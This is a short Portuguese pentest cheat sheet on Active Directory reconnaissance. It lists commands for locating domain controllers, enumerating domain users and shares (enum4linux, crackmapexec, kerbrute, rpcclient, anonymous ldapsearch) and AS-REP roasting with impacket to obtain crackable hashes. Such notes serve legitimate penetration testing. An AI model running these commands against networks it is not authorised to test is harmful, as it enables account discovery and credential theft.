Enumeracao
Primeiro precisamos de informações básicas a respeito do domínio ou quem é o DC (Domain Controller) para sabermos quem devemos ter como alvo para extração de hashes e afins...
IP dos domain controllers
linux
nslookup -type=srv _ldap._tcp.dc._msdcs.<dominio.com.br>
nslookup -type=srv _kerberos._tcp.<dominio.com.br>
nslookup -type=srv _kpasswd._tcp.<dominio.com.br>
nslookup -type=srv _ldap._tcp.<dominio.com.br>
windows
nslookup
set type=all
_ldap._tcp.dc._msdcs.<dominio.com.br>
Outra opção seria:
nltest /dclist:<dominio.local>
Vale considerar que este útlimo comando só funciona se a máquina já está no domínio.
Obter nome domínio
SEM ACESSO INICIAL NA MÁQUINA
No Linux
enum4linux -a <hostname_dc>
Utilizar também
crackmapexec smb <hostname_dc>
COM ACESSO NA MÁQUINA
No Windows
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
ou
Vale considerar que este comando só funciona se a máquina já está no domínio
whoami
whoami /fqdn
ipconfig /all
Enumerar usuários
SEM ACESSO INICIAL NA MÁQUINA
kerbrute userenum -d dominio.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
ou
rpcclient -U <domain>/<usuario> <hostname_dc>
enumdomusers
srvinfo
querydominfo
enumdomgroups
querygroup 0x200
netshareenum
netshareenumall
ou
enum4linux -a <hostname_dc>
Via SMB
crackmapexec smb <hostname> --users
Ldapsearch
ldapsearch -x -H ldap://<hostname> -D '' -w '' -b "DC=<domain_name>,DC=<tld>"
COM ACESSO NA MÁQUINA
net user
net user /domain
net user username /domain
AsRep Roasting
impacket-GetNPUsers -usersfile usernames.txt domain.local/ --dc-host <hostname_dc>
Com base nessa enumeração, provável que já teremos alguma credencial válida no domínio, então seguimos para os próximos passos aqui.
Observação abaixo, caso tenha uma máquina fora do domínio
runas /netonly /user:domain.br\user powershell
(será solicitado credencial e pode ser informado uma credencial inválida que o comando funcionará, mas por motivos óbvios, quaisquer comando que utilizemos não se autenticará na rede)